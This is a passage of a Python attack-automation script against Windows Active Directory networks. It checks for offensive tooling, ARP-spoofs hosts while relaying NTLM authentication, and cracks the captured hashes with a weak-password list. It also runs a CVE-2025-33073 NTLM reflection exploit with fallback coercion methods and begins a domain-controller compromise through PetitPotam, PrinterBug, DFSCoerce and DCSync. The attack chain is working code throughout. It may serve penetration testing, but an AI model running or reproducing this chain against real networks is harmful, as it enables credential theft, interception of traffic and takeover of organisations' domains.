"impacket.examples.ntlmrelayx.servers.config",
"impacket.examples.ntlmrelayx.config",
"impacket.examples.ntlmrelayx.utils.config",
):
try:
mod = __import__(module_path, fromlist=["NTLMRelayxConfig"])
cls = getattr(mod, "NTLMRelayxConfig", None)
if cls and hasattr(cls, "setRPCOptions"):
break
except (ImportError, AttributeError):
continue
if cls is None or not hasattr(cls, "setRPCOptions"):
return True # library not importable / class moved, skip silently
try:
import inspect
sig = inspect.signature(cls.setRPCOptions)
n_required = sum(
1 for p in sig.parameters.values()
if p.default is p.empty and p.name != "self"
)
except Exception:
return True
if n_passed < n_required:
log.error(f"impacket version mismatch: {actual_path} calls "
f"setRPCOptions({n_passed} args), but the installed "
f"library requires {n_required}. Every ntlmrelayx "
f"invocation will crash with TypeError.")
log.error("Affected phases: arp, wpad, wsus, exploit. Fix:")
detail(f" $ sudo rm {actual_path}")
detail(f" $ sudo apt --reinstall install impacket-scripts")
detail(f" (apt-managed wrappers stay in sync with python3-impacket; "
f"pip-installed wrappers do not.)")
return False
return True
def check_prerequisites(cfg: Config) -> bool:
log.info("🔧 Checking prerequisites...")
missing = False
# Track count of optional warnings emitted so the closing line
# doesn't falsely claim "all prerequisites satisfied" when many
# optional tools (mitm6, responder, certipy, bloodyAD, …) are
# absent. We monkey-patch a counter onto the bound logger.
optional_missing_count = [0]
_orig_warn = log.warning
def _counted_warn(msg, *a, **kw):
optional_missing_count[0] += 1
_orig_warn(msg, *a, **kw)
log.warning = _counted_warn # restored before return
# Core exploit
if not (CVE_DIR / "CVE-2025-33073.py").exists():
log.error(f"CVE-2025-33073 PoC not found at {CVE_DIR}")
missing = True
# Required tools
for tool in ["nxc", "impacket-findDelegation", "impacket-ntlmrelayx",
"impacket-secretsdump", "python3", "ip"]:
if tool_exists(tool):
log.debug(f" ✓ {tool}")
else:
log.error(f"Required tool not found: {tool}")
missing = True
# Optional
if tool_exists("dig"):
ok("dig available (DNS discovery)")
else:
log.warning("dig not found — DNS auto-discovery limited (apt install dnsutils)")
if (TOOLS_DIR / "krbrelayx").is_dir():
ok("krbrelayx found")
else:
log.warning("krbrelayx not found (optional)")
if tool_exists("arpspoof"):
ok("arpspoof available (Layer 2 fallback)")
elif tool_exists("bettercap"):
ok("bettercap available (Layer 2 fallback)")
else:
log.warning("No ARP spoof tool (optional — apt install dsniff or bettercap)")
if tool_exists("hashcat"):
ok("hashcat available (hash cracking)")
elif tool_exists("john"):
ok("john available (hash cracking)")
else:
log.warning("No hash cracker found (optional — apt install hashcat)")
# Passive discovery
if tool_exists("tcpdump"):
ok("tcpdump available (passive WPAD/WSUS/LLMNR sniffing)")
else:
log.warning("tcpdump not found (optional — apt install tcpdump)")
# PXE tools
pxethiefy_found = find_tool(
"pxethiefy",
paths=[TOOLS_DIR / "pxethiefy" / "pxethiefy.py"]
)
if pxethiefy_found:
ok("pxethiefy available (PXE/SCCM credential extraction)")
else:
log.warning("pxethiefy not found (optional — manual TFTP extraction still works)")
if tool_exists("tftp") or tool_exists("atftp"):
ok("TFTP client available (PXE image download)")
else:
log.warning("No TFTP client found (optional — apt install tftp)")
if tool_exists("wimlib-imagex"):
ok("wimtools available (WIM image mounting)")
else:
log.warning("wimtools not found (optional — apt install wimtools)")
# WPAD tools
if tool_exists("mitm6"):
ok("mitm6 available (IPv6 WPAD poisoning)")
else:
log.warning("mitm6 not found (optional — pipx install mitm6)")
if tool_exists("responder"):
ok("responder available (LLMNR/WPAD poisoning)")
else:
log.warning("responder not found (optional — apt install responder)")
# WSUS tools
if tool_exists("wsuks"):
ok("wsuks available (WSUS exploitation)")
else:
log.warning("wsuks not found (optional — pipx install wsuks)")
# AD CS tools
if tool_exists("certipy"):
ok("certipy available (AD CS ESC1-ESC16 exploitation)")
else:
log.warning("certipy not found (optional — apt install certipy-ad)")
# Roasting tools
if tool_exists("impacket-GetUserSPNs"):
ok("GetUserSPNs available (Kerberoasting)")
if tool_exists("impacket-GetNPUsers"):
ok("GetNPUsers available (AS-REP Roasting)")
# SCCM tools
sccmhunter_path = find_tool("sccmhunter",
paths=[TOOLS_DIR / "sccmhunter" / "sccmhunter.py"])
if sccmhunter_path:
ok("sccmhunter available (SCCM NAA extraction)")
else:
log.warning("sccmhunter not found (optional)")
# Shadow Credentials
pywhisker_path = find_tool("pywhisker",
paths=[TOOLS_DIR / "pywhisker" / "pywhisker.py"])
if pywhisker_path:
ok("pywhisker available (Shadow Credentials)")
else:
log.warning("pywhisker not found (optional — ntlmrelayx --shadow-credentials still works)")
# RBCD / delegation tools
if tool_exists("impacket-addcomputer"):
ok("addcomputer available (RBCD machine account)")
if tool_exists("impacket-getST"):
ok("getST available (S4U2Proxy)")
# DPAPI
if tool_exists("impacket-dpapi"):
ok("impacket-dpapi available (DPAPI backup key extraction)")
# ── impacket-ntlmrelayx wrapper/library version-mismatch trap ──────
# When pip-install impacket leaves a stale wrapper script in
# ~/.local/bin/ and the library is later upgraded, the wrapper calls
# setRPCOptions() with fewer args than the new library expects → every
# ntlmrelayx invocation dies with TypeError before it can do anything.
# This breaks every L2/relay phase (arp, wpad, wsus, exploit). Detect
# by introspection — fast (<10 ms) and reliable.
_check_impacket_ntlmrelayx_consistency()
# ── v4.9.0 additions ────────────────────────────────────────────────
# Discover phase
if tool_exists("kerbrute"):
ok("kerbrute available (KRB-AS-REQ user enumeration)")
else:
log.warning("kerbrute not found (--phase discover degraded — only CLDAP enum)")
if tool_exists("userenum-cldap") or (TOOLS_DIR / "userenum-cldap.py").exists():
ok("userenum-cldap available (CLDAP NetLogon ping enumeration)")
else:
log.warning("userenum-cldap not found (--phase discover degraded — only kerbrute enum)")
try:
import asn1tools # noqa: F401
ok("asn1tools available (CLDAP userenum runtime)")
except ImportError:
log.warning("asn1tools missing (CLDAP userenum will silently no-op — pip install asn1tools)")
# SecLists presence — major impact on discover candidate breadth
if any(Path(p).is_file() for p in _SECLISTS_USER_PATHS):
ok("SecLists found (rich --phase discover candidates)")
else:
log.warning("SecLists not installed (--phase discover degraded to 24-name shortlist) — apt install seclists OR git clone https://github.com/danielmiessler/SecLists /usr/share/seclists")
# bloodyAD (used by ghost-SPN, RBCD, shadow creds, GPO abuse)
if tool_exists("bloodyAD") or tool_exists("bloodyad"):
ok("bloodyAD available (LDAP write helper)")
else:
log.warning("bloodyAD not found (--phase exploit / shadow / RBCD / GPO degraded — pipx install bloodyAD)")
# BloodHound collection + auto-action
if tool_exists("bloodhound-python"):
ok("bloodhound-python available (--phase bloodhound + auto-action)")
else:
log.warning("bloodhound-python not found (--phase bloodhound disabled — apt install bloodhound.py OR pipx install bloodhound)")
# Loot phase
if tool_exists("smbclient"):
ok("smbclient available (--phase loot file pulls)")
else:
log.warning("smbclient not found (--phase loot KeePass download disabled — apt install smbclient)")
if tool_exists("keepass2john"):
ok("keepass2john available (--phase loot KeePass cracking)")
else:
log.warning("keepass2john not found (--phase loot KeePass crack disabled — apt install john)")
# TGS rewrite (optional — has impacket fallback)
tgssub_path = find_tool("tgssub.py", paths=[TOOLS_DIR / "tgssub" / "tgssub.py"])
if tgssub_path:
ok("tgssub.py available (KCD bypass primitive)")
else:
detail("tgssub.py not found (--phase tgs-rewrite uses impacket fallback)")
# Coercion helpers
if tool_exists("coercer"):
ok("coercer available (DHCP/PetitPotam multi-method coercion)")
else:
log.warning("coercer not found (DHCP coercion phase disabled — pipx install coercer)")
log.warning = _orig_warn # restore before returning
if missing:
log.error("Missing required prerequisites — see warnings above for "
"install hints (apt / pipx / pip).")
return False
n_opt = optional_missing_count[0]
if n_opt:
ok(f"Required prerequisites satisfied ({n_opt} optional tool(s) missing — see ⚠ above)")
else:
ok("All prerequisites satisfied")
return True
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Phase 0: ARP Spoof + Credential Capture
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def discover_live_hosts(cfg: Config) -> list[str]:
"""Scan subnet for live hosts."""
log.info("📡 Discovering live hosts...")
hosts_file = cfg.work_dir / "live-hosts.txt"
if tool_exists("nmap"):
result = run(["nmap", "-sn", "-n", cfg.target_net], cfg, timeout=120)
hosts = re.findall(r"Nmap scan report for (\d+\.\d+\.\d+\.\d+)", result.stdout)
elif tool_exists("arp-scan"):
result = run(["arp-scan", "-I", cfg.iface or "eth0", cfg.target_net], cfg, timeout=60)
hosts = re.findall(r"^(\d+\.\d+\.\d+\.\d+)", result.stdout, re.MULTILINE)
else:
log.error("Need nmap or arp-scan for host discovery")
return []
# Filter out self and gateway
hosts = [h for h in hosts if h not in (cfg.attacker_ip, cfg.gateway)]
hosts_file.write_text("\n".join(hosts) + "\n")
if hosts:
ok(f"Found {len(hosts)} live host(s)")
for h in hosts:
detail(h)
else:
log.warning("No live hosts found")
return hosts
def arp_spoof_relay(target: str, cfg: Config) -> bool:
"""ARP spoof target ↔ gateway and relay NTLM auth. Returns True if creds captured."""
gateway = cfg.gateway
log.info(f"🕸️ ARP spoof: {target} ↔ {gateway}")
if cfg.dry_run:
log.warning(f"Dry run — would ARP spoof {target} ↔ {gateway}")
return True
spoof_tool = find_tool("arpspoof", "bettercap")
if not spoof_tool:
log.error("No ARP spoof tool found (need arpspoof or bettercap)")
return False
relay_output = cfg.work_dir / f"arp-relay-{target}.txt"
hash_output = cfg.work_dir / "arp-relay-hashes"
bg_procs = []
# Enable IP forwarding
old_forward = "0"
try:
old_forward = Path("/proc/sys/net/ipv4/ip_forward").read_text().strip()
Path("/proc/sys/net/ipv4/ip_forward").write_text("1")
log.debug("IP forwarding enabled")
except OSError as e:
log.error(f"Cannot enable IP forwarding: {e}")
return False
try:
# Start ntlmrelayx
log.info("🎣 Starting ntlmrelayx listener...")
relay_proc = run(
["impacket-ntlmrelayx", "-t", target, "-smb2support",
"--no-http-server", "-of", str(hash_output)],
cfg, bg=True, outfile=relay_output
)
if not hasattr(relay_proc, 'poll'):
log.error("Failed to start ntlmrelayx")
return False
bg_procs.append(relay_proc)
time.sleep(2)
if relay_proc.poll() is not None:
log.error(f"ntlmrelayx exited immediately (code {relay_proc.returncode})")
return False
# Start ARP spoof
iface = cfg.iface or "eth0"
if "bettercap" in spoof_tool:
log.info(f"🔀 Bettercap ARP spoof: {target} ↔ {gateway}")
spoof_proc = run(
["bettercap", "-iface", iface, "-eval",
f"set arp.spoof.targets {target}; set arp.spoof.internal true; arp.spoof on"],
cfg, bg=True, outfile=cfg.work_dir / "arp-spoof.txt"
)
if hasattr(spoof_proc, 'poll'):
bg_procs.append(spoof_proc)
else:
log.info(f"🔀 ARP spoof: {target} → thinks we are {gateway}")
p1 = run(
["arpspoof", "-i", iface, "-t", target, gateway],
cfg, bg=True, outfile=cfg.work_dir / f"arp-spoof-{target}-1.txt"
)
log.info(f"🔀 ARP spoof: {gateway} → thinks we are {target}")
p2 = run(
["arpspoof", "-i", iface, "-t", gateway, target],
cfg, bg=True, outfile=cfg.work_dir / f"arp-spoof-{target}-2.txt"
)
for p in [p1, p2]:
if hasattr(p, 'poll'):
bg_procs.append(p)
# Wait for captured auth
ok("ARP spoof + relay running, waiting for NTLM traffic...")
max_wait = cfg.poison_duration
waited = 0
while waited < max_wait:
if relay_output.exists():
content = relay_output.read_text()
if re.search(r"authenticated|SAM|hash|success|SUCCEED", content, re.IGNORECASE):
ok("🎣 Captured NTLM authentication!")
return True
time.sleep(5)
waited += 5
if waited % 30 == 0:
log.info(f"⏳ Still listening... ({waited}/{max_wait}s)")
log.warning(f"No auth captured within {max_wait}s")
return False
finally:
# Stop all background processes
log.info("🛑 Stopping ARP spoof...")
for proc in bg_procs:
try:
proc.terminate()
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
# Remove from global bg list
for proc in bg_procs:
if proc in cfg.bg_processes:
cfg.bg_processes.remove(proc)
# Restore IP forwarding
try:
Path("/proc/sys/net/ipv4/ip_forward").write_text(old_forward)
except Exception:
pass
def extract_hashes(cfg: Config) -> list[str]:
"""Extract NTLMv2 hashes from all output files."""
hashfile = cfg.work_dir / "captured-ntlmv2.txt"
hashes = set()
# From relay/responder output
for f in cfg.work_dir.glob("arp-relay-*.txt"):
content = f.read_text()
hashes.update(re.findall(r"\S+::\S+:[a-fA-F0-9]+:[a-fA-F0-9]+:[a-fA-F0-9]+", content))
# From hash output files
for f in cfg.work_dir.glob("arp-relay-hashes*"):
if f.exists():
hashes.update(line.strip() for line in f.read_text().splitlines() if "::" in line)
# Responder logs
responder_dir = Path("/usr/share/responder/logs")
if responder_dir.is_dir():
for f in responder_dir.glob("*NTLMv2*.txt"):
hashes.update(line.strip() for line in f.read_text().splitlines() if "::" in line)
if hashes:
hashfile.write_text("\n".join(sorted(hashes)) + "\n")
ok(f"Extracted {len(hashes)} unique NTLMv2 hash(es)")
return sorted(hashes)
def try_crack_hashes(cfg: Config) -> Optional[tuple[str, str, str]]:
"""Crack NTLMv2 hashes. Returns (user, password, domain) or None."""
hashfile = cfg.work_dir / "captured-ntlmv2.txt"
cracked_file = cfg.work_dir / "cracked.txt"
if not hashfile.exists() or hashfile.stat().st_size == 0:
return None
log.info("🔓 Attempting to crack NTLMv2 hashes...")
# Quick check: extract usernames from hashes and try username=password
# NTLMv2 format: USER::DOMAIN:challenge:response:blob
usernames = set()
for line in hashfile.read_text().splitlines():
if "::" in line:
user = line.split("::")[0].strip()
if user:
usernames.add(user)
if usernames:
# Build a mini wordlist with common weak patterns per user
mini_wl = cfg.work_dir / "quick-crack-wordlist.txt"
patterns = []
for u in usernames:
patterns += [
u, u.lower(), u.upper(), u.capitalize(),
f"{u}1", f"{u}123", f"{u}!", f"{u}1!",
u[::-1], # reversed
]
# Add generic weak passwords
patterns += [
"password", "Password1", "Password123", "P@ssw0rd", "P@ssword1",
"Welcome1", "Welcome123", "Changeme1", "Winter2024", "Winter2025",
"Winter2026", "Summer2024", "Summer2025", "Summer2026",
"Company1", "Company123", "Admin123", "admin", "letmein",
"qwerty", "123456", "abc123", "iloveyou", "monkey",
]
mini_wl.write_text("\n".join(patterns) + "\n")
log.info(f"⚡ Quick-crack: trying {len(patterns)} username-based patterns first...")
if tool_exists("hashcat"):
run(
["hashcat", "-m", "5600", str(hashfile), str(mini_wl),
"--outfile", str(cracked_file), "--outfile-format=2", "--quiet",
"--runtime=10"],
cfg, timeout=15
)
elif tool_exists("john"):
run(["john", "--format=netntlmv2", f"--wordlist={mini_wl}", str(hashfile),
"--max-run-time=10"],
cfg, timeout=15)
if cracked_file.exists() and cracked_file.stat().st_size > 0:
ok("⚡ Quick-crack hit! Username-based password found")
# Find wordlist (prefer uncompressed, auto-decompress .gz)
wordlist = None
for wl in WORDLISTS:
if wl.exists() and wl.suffix != ".gz":
wordlist = wl
break
if wl.suffix == ".gz" and wl.exists():
plain = wl.with_suffix("")
if plain.exists():
wordlist = plain
break
log.info(f"📦 Decompressing {wl.name}...")
run(["gunzip", "-k", str(wl)], cfg)
if plain.exists():
wordlist = plain
break
if not wordlist:
log.warning("No wordlist found for cracking")
return None
if tool_exists("hashcat"):
log.info(f"⚙️ hashcat (NTLMv2/5600) with {wordlist.name}...")
result = run(
["hashcat", "-m", "5600", str(hashfile), str(wordlist),
"--outfile", str(cracked_file), "--outfile-format=2", "--quiet",
"--runtime=90"], # Hard cap: 90 seconds
cfg, timeout=120 # Process kill safety net
)
elif tool_exists("john"):
log.info(f"⚙️ john the ripper with {wordlist.name}...")
run(["john", "--format=netntlmv2", f"--wordlist={wordlist}", str(hashfile),
f"--max-run-time=90"], # Hard cap: 90 seconds
cfg, timeout=120)
result = run(["john", "--show", "--format=netntlmv2", str(hashfile)], cfg)
if result.stdout:
lines = [l for l in result.stdout.splitlines()
if l.strip() and "password hash" not in l.lower()]
cracked_file.write_text("\n".join(lines) + "\n")
else:
log.warning("Neither hashcat nor john found")
return None
if cracked_file.exists() and cracked_file.stat().st_size > 0:
cracked_pass = _first_line(cracked_file.read_text())
# Parse user::domain from the hash
hash_line = _first_line(hashfile.read_text())
parts = hash_line.split(":")
user = parts[0] if len(parts) > 0 else ""
domain = parts[2] if len(parts) > 2 else ""
# john output may include "user:pass"
if ":" in cracked_pass and "\\" not in cracked_pass:
cracked_pass = cracked_pass.split(":", 1)[-1]
if user and cracked_pass:
success_box(f"CRACKED: {domain}\\{user}")
detail(f"Password: {cracked_pass}")
return (user, cracked_pass, domain)
log.warning("No passwords cracked with quick wordlist attack")
return None
def run_arp_capture(cfg: Config, priority_hosts: list[str] | None = None) -> bool:
"""ARP spoof subnet to capture and crack NTLM hashes. Sets cfg creds on success.
Args:
priority_hosts: Hosts from passive sniffing that are actively sending
LLMNR/WPAD/WSUS/DHCPv6 traffic — these are spoofed first
since they're most likely to yield NTLM auth.
"""
phase_header("PHASE 0: ZERO-AUTH CREDENTIAL CAPTURE (ARP SPOOF)")
targets = []
if cfg.specific_target:
targets = [cfg.specific_target]
elif cfg.target_net:
targets = discover_live_hosts(cfg)
else:
log.error("No target specified and no subnet detected")
return False
if not targets:
return False
# Prioritize hosts from passive sniffing (they're actively authenticating)
if priority_hosts:
priority = [h for h in priority_hosts if h in targets and h != cfg.attacker_ip]
rest = [h for h in targets if h not in priority]
if priority:
ok(f"Prioritizing {len(priority)} host(s) detected by passive sniff")
for h in priority:
detail(h)
targets = priority + rest
total = len(targets)
for i, host in enumerate(targets, 1):
log.info(f"[{i}/{total}] ARP spoof relay: {host} ↔ {cfg.gateway}")
arp_spoof_relay(host, cfg)
# Check for captured hashes
hashes = extract_hashes(cfg)
if hashes:
creds = try_crack_hashes(cfg)
if creds:
cfg.username, cfg.password, cfg.domain = creds
ok("🔑 Credentials captured and cracked — switching to authenticated mode")
return True
# Final crack attempt
hashes = extract_hashes(cfg)
if hashes:
creds = try_crack_hashes(cfg)
if creds:
cfg.username, cfg.password, cfg.domain = creds
return True
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Phase 1: Enumeration
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def enumerate_targets(cfg: Config) -> tuple[list[str], list[str]]:
"""Find relay targets and delegation hosts. Returns (relay_targets, deleg_hosts)."""
phase_header(f"PHASE 1: TARGET ENUMERATION ({cfg.target_net})")
relay_list = cfg.work_dir / "relay-targets.txt"
smb_output = cfg.work_dir / "smb-enum.txt"
deleg_output = cfg.work_dir / "delegation.txt"
# --- SMB signing scan ---
log.info("🔍 Scanning for hosts without SMB signing...")
result = run(
["nxc", "smb", cfg.target_net, "--gen-relay-list", str(relay_list)],
cfg, timeout=300, outfile=smb_output
)
print(result.stdout)
relay_targets = []
if relay_list.exists():
relay_targets = [l.strip() for l in relay_list.read_text().splitlines() if l.strip()]
# Remove DC (always has signing)
if cfg.dc_ip in relay_targets:
relay_targets.remove(cfg.dc_ip)
relay_list.write_text("\n".join(relay_targets) + "\n")
if relay_targets:
ok(f"Found {len(relay_targets)} relay target(s)")
for t in relay_targets:
detail(t)
else:
log.warning("No relay targets found (all hosts have SMB signing)")
log.warning("Try --smb-signing to relay via LDAPS instead")
# CVE-2026-24294 / 26128 LPE candidates (Synacktiv 2026)
detect_loopback_candidates(cfg, smb_output)
# --- Delegation scan ---
separator()
log.info("🔍 Looking for unconstrained delegation hosts...")
result = run(
["impacket-findDelegation"] + cfg.auth_args + ["-dc-ip", cfg.dc_ip],
cfg, timeout=60, outfile=deleg_output
)
print(result.stdout)
deleg_hosts = []
if deleg_output.exists():
for line in deleg_output.read_text().splitlines():
if re.search(r"unconstrained", line, re.IGNORECASE):
parts = line.split()
if len(parts) >= 2:
deleg_hosts.append(parts[1])
if deleg_hosts:
ok(f"Unconstrained delegation host(s) found:")
(cfg.work_dir / "unconstrained-hosts.txt").write_text("\n".join(deleg_hosts) + "\n")
for h in deleg_hosts:
detail(h)
else:
log.warning("No unconstrained delegation — DC compromise phase will be limited")
# --- Cross-reference: high-value targets ---
high_value = []
if deleg_hosts and relay_targets and tool_exists("dig"):
separator()
log.info("🔗 Cross-referencing relay targets with delegation hosts...")
for dh in deleg_hosts:
try:
out = subprocess.check_output(
["dig", "+short", "A", f"{dh}.{cfg.domain}"], text=True, timeout=5,
stderr=subprocess.DEVNULL
)
ip = out.strip().splitlines()[0] if out.strip() else ""
if ip in relay_targets:
ok(f"🎯 HIGH VALUE: {dh} ({ip}) — relay + unconstrained delegation")
high_value.append(ip)
except Exception:
pass
if high_value:
(cfg.work_dir / "high-value-targets.txt").write_text("\n".join(high_value) + "\n")
return relay_targets, deleg_hosts
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Phase 2: CVE-2025-33073 Exploitation
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run_cve_exploit(target: str, method: str, cfg: Config,
label: str = "") -> bool:
"""Run the CVE-2025-33073 PoC with a specific method."""
output_file = cfg.work_dir / f"exploit-{target}-{method}.txt"
args = [
"python3", str(CVE_DIR / "CVE-2025-33073.py"),
"-u", f"{cfg.domain}\\{cfg.username}",
"--attacker-ip", cfg.attacker_ip,
"--dns-ip", cfg.dc_ip,
"--dc-fqdn", cfg.dc_fqdn,
"--target", target,
"--target-ip", target,
]
# Auth
if cfg.nthash:
args += ["-p", f"aad3b435b51404eeaad3b435b51404ee:{cfg.nthash}"]
else:
args += ["-p", cfg.password]
if method:
args += ["-M", method]
if cfg.use_socks:
args += ["--socks"]
if cfg.smb_signing:
args += ["--smb-signing"]
if cfg.custom_cmd:
args += ["--custom-command", cfg.custom_cmd]
log.info(f"⚔️ {label or 'Exploit'}: method={method}")
result = run(args, cfg, timeout=300, outfile=output_file)
if not cfg.dry_run:
print(result.stdout[-2000:] if len(result.stdout) > 2000 else result.stdout)
return result.returncode == 0
def exploit_target(target: str, cfg: Config) -> bool:
"""Exploit a target with fallback coercion methods."""
phase_header(f"PHASE 2: NTLM REFLECTION EXPLOIT ({target})")
if cfg.use_socks:
log.info("🧦 SOCKS proxy mode — post-exploit: proxychains nxc smb ...")
if cfg.smb_signing:
log.info("🔏 SMB signing bypass enabled (LDAPS relay)")
if cfg.custom_cmd:
log.info(f"💻 Custom command: {cfg.custom_cmd}")
# User specified a method — no fallback
if cfg.method:
success = run_cve_exploit(target, cfg.method, cfg)
if success:
ok(f"Exploitation succeeded on {target} (method: {cfg.method})")
(cfg.work_dir / f"working-method-{target}.txt").write_text(cfg.method)
else:
log.error(f"Exploitation failed on {target} (method: {cfg.method})")
return success
# Auto-fallback: try each method
total = len(COERCION_METHODS)
for i, method in enumerate(COERCION_METHODS, 1):
if run_cve_exploit(target, method, cfg, label=f"Attempt {i}/{total}"):
ok(f"Exploitation succeeded on {target} (method: {method})")
(cfg.work_dir / f"working-method-{target}.txt").write_text(method)
return True
if i < total:
log.warning(f"Method {method} failed, trying next...")
# Retry all with SMB signing bypass
if not cfg.smb_signing:
log.warning("All standard methods failed — retrying with --smb-signing (LDAPS)...")
cfg.smb_signing = True
for method in COERCION_METHODS:
if run_cve_exploit(target, method, cfg, label=f"SMB-signing bypass ({method})"):
ok(f"Exploitation succeeded (method: {method} + smb-signing)")
(cfg.work_dir / f"working-method-{target}.txt").write_text(f"{method}+smb-signing")
cfg.smb_signing = False
return True
cfg.smb_signing = False
# Unicode-SPN Kerberos reflection (Synacktiv 2026 — bypasses CVE-2025-33073 patch)
if cfg.unicode_spn and cfg.has_creds:
log.warning("NTLM reflection methods failed — trying Kerberos Unicode-SPN reflection...")
target_fqdn = target
if "." not in target and "." in cfg.dc_fqdn and tool_exists("dig"):
try:
rev = subprocess.check_output(
["dig", "+short", "-x", target], text=True, timeout=5,
stderr=subprocess.DEVNULL,
).strip().rstrip(".")
if rev:
target_fqdn = rev.splitlines()[0]
except Exception:
pass
if run_kerberos_reflection(target_fqdn, cfg):
(cfg.work_dir / f"working-method-{target}.txt").write_text("unicode-spn")
return True
# Last resort: ARP spoof
if not cfg.no_arp:
log.warning("All coercion methods failed — falling back to ARP spoof relay...")
if arp_spoof_relay(target, cfg):
ok(f"ARP spoof relay succeeded on {target}")
(cfg.work_dir / f"working-method-{target}.txt").write_text("arp-spoof")
return True
fail_box(f"All methods exhausted on {target}")
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Phase 3: DC Compromise
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def try_dc_coercion(listener: str, cfg: Config) -> bool:
"""Try multiple coercion tools against the DC. Returns True on success."""
coerce_output = cfg.work_dir / "coercion.txt"
methods = [
("PetitPotam (MS-EFSR)", _coerce_petitpotam),
("PrinterBug (MS-RPRN)", _coerce_printerbug),
("DFSCoerce (MS-DFSNM)", _coerce_dfscoerce),
("ShadowCoerce (MS-FSRVP)", _coerce_shadowcoerce),
("Coercer (all-in-one)", _coerce_coercer),
]
for i, (name, func) in enumerate(methods, 1):
log.info(f"🔨 DC coercion [{i}/{len(methods)}]: {name}")
if func(listener, cfg, coerce_output):
ok(f"{name} coercion succeeded")
(cfg.work_dir / "working-coercion.txt").write_text(name)
return True
if i < len(methods):
log.warning(f"{name} failed, trying next...")
log.error("All DC coercion methods failed")
return False
def _build_coerce_auth(cfg: Config) -> list[str]:
if cfg.nthash:
return ["-u", cfg.username, "-d", cfg.domain, "-hashes", f":{cfg.nthash}"]
return ["-u", cfg.username, "-d", cfg.domain, "-p", cfg.password]
def _coerce_petitpotam(listener: str, cfg: Config, outfile: Path) -> bool:
cmd = find_tool(
"impacket-PetitPotam",
paths=[Path("/usr/share/doc/python3-impacket/examples/PetitPotam.py")]
)
if not cmd:
log.warning("PetitPotam not found, skipping")
return False
parts = cmd.split() + _build_coerce_auth(cfg) + [listener, cfg.dc_ip]
result = run(parts, cfg, timeout=60, outfile=outfile)
return _check_coerce_output(result, outfile)
def _coerce_printerbug(listener: str, cfg: Config, outfile: Path) -> bool:
cmd = find_tool(
"printerbug.py",
paths=[TOOLS_DIR / "krbrelayx" / "printerbug.py"]
)
if not cmd:
log.warning("PrinterBug not found, skipping")
return False
if cfg.nthash:
auth = f"{cfg.domain}/{cfg.username}@{cfg.dc_ip} -hashes :{cfg.nthash}"
else:
auth = f"{cfg.domain}/{cfg.username}:{cfg.password}@{cfg.dc_ip}"
parts = cmd.split() + auth.split() + [listener]
result = run(parts, cfg, timeout=60, outfile=outfile)
return _check_coerce_output(result, outfile)
def _coerce_dfscoerce(listener: str, cfg: Config, outfile: Path) -> bool:
cmd = find_tool(
"dfscoerce.py", "DFSCoerce.py",
paths=[TOOLS_DIR / "DFSCoerce" / "dfscoerce.py"]
)
if not cmd:
log.warning("DFSCoerce not found, skipping")
return False
parts = cmd.split() + _build_coerce_auth(cfg) + [listener, cfg.dc_ip]
result = run(parts, cfg, timeout=60, outfile=outfile)
return _check_coerce_output(result, outfile)
def _coerce_shadowcoerce(listener: str, cfg: Config, outfile: Path) -> bool:
cmd = find_tool(
"shadowcoerce.py", "ShadowCoerce.py",
paths=[TOOLS_DIR / "ShadowCoerce" / "shadowcoerce.py"]
)
if not cmd:
log.warning("ShadowCoerce not found, skipping")
return False
parts = cmd.split() + _build_coerce_auth(cfg) + [listener, cfg.dc_ip]
result = run(parts, cfg, timeout=60, outfile=outfile)
return _check_coerce_output(result, outfile)
def _coerce_coercer(listener: str, cfg: Config, outfile: Path) -> bool:
if not tool_exists("coercer"):
log.warning("Coercer not found (pip install coercer)")
return False
auth = _build_coerce_auth(cfg)
parts = ["coercer", "coerce"] + auth + ["--listener", listener, "--target", cfg.dc_ip]
result = run(parts, cfg, timeout=120, outfile=outfile)
return _check_coerce_output(result, outfile)
def _check_coerce_output(result: subprocess.CompletedProcess, outfile: Path) -> bool:
text = result.stdout or ""
if outfile.exists():
text += outfile.read_text()
return bool(re.search(r"triggered|success|got.*handle|vulnerable", text, re.IGNORECASE))
def dcsync_attack(already_exploited: str, cfg: Config):
"""DC compromise: relay listener → coerce DC auth → DCSync.
The DCSync itself ALWAYS targets cfg.dc_ip — see _run_secretsdump().
The `already_exploited` parameter is purely a "skip-redo" hint: it
names the host the upstream chain has already compromised, so that
if the chosen delegation host happens to be the same one we don't
re-run exploit_target() on it. If they differ, this function will
compromise the delegation host now.
Args:
already_exploited: host the caller already gained code-execution
on (typically the auto-selected best_target from
enumerate_targets() / high-value-targets.txt). May be empty
string if the caller hasn't exploited anything yet.
cfg: shared config; cfg.dc_ip and cfg.auth_string drive the
actual secretsdump.
"""
phase_header("PHASE 3: DOMAIN CONTROLLER COMPROMISE")
# Find delegation host (the one we'll coerce DC auth through)
deleg_host = ""
hv_file = cfg.work_dir / "high-value-targets.txt"
uc_file = cfg.work_dir / "unconstrained-hosts.txt"
if hv_file.exists():
deleg_host = _first_line(hv_file.read_text())
if deleg_host:
ok(f"🎯 Using high-value target (relay + delegation): {deleg_host}")
elif uc_file.exists():
line = _first_line(uc_file.read_text())
deleg_host = line.split()[0] if line.split() else ""
if not deleg_host:
log.warning("No unconstrained delegation host found")
log.warning("Attempting direct DCSync with current credentials...")
_run_secretsdump(cfg)
return
ok(f"Using delegation host: {deleg_host}")
# If the upstream chain hasn't already exploited the delegation host,
